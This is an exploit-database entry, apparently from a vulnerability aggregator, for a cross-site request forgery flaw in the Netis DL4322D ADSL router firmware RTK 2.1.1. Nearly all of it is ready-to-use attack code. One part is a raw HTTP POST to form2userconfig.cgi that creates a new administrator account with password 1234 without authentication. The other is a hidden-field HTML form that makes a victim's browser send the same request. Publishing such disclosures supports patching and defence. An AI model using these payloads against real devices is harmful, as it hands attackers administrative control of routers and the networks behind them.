Netis ADSL Router DL4322D RTK 2.1.1 Cross Site Request Forgery

🗓️ 05 Oct 2018 00:00:00Reported by CakesType

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Netis ADSL Router DL4322D RTK 2.1.1 CSRF Add Admin without Authenticatio

`# Exploit Title: Netis ADSL Router DL4322D RTK 2.1.1 - Cross-Site Request Forgery (Add Admin)  
# Author: Cakes  
# Discovery Date: 2018-10-01  
# Vendor Homepage: http://www.netis-systems.com  
# Software Link: http://www.netis-systems.com/Home/detail/id/74.html  
# Tested Version: RTK 2.1.1  
# Tested on OS: Kali Linux  
# CVE: N/A  
  
# Description  
# Due to improper session management an attacker is able to add a administrator account  
# without providing any authentication credentials.  
  
# PoC 1  
POST /form2userconfig.cgi HTTP/1.1  
Host: Target  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
DNT: 1  
Connection: close  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 112  
  
username=Cakes&privilege=2&newpass=1234&confpass=1234&adduser=Add&hiddenpass=&submit.htm%3Fuserconfig.htm=Send  
  
# PoC 2  
<html>  
<body>  
<form action="http://Target/form2userconfig.cgi" method="POST">  
<input type="hidden" name="username" value="Cakes" />  
<input type="hidden" name="privilege" value="2" />  
<input type="hidden" name="newpass" value="1234" />  
<input type="hidden" name="confpass" value="1234" />  
<input type="hidden" name="adduser" value="Add" />  
<input type="hidden" name="hiddenpass" value="" />  
<input type="hidden" name="submit.htm?userconfig.htm" value="Send" />  
<input type="submit" value="Submit request" />  
</form>  
</body>  
</html>  
  
`

05 Oct 2018 00:00Current

0.1Low risk

Vulners AI Score0.1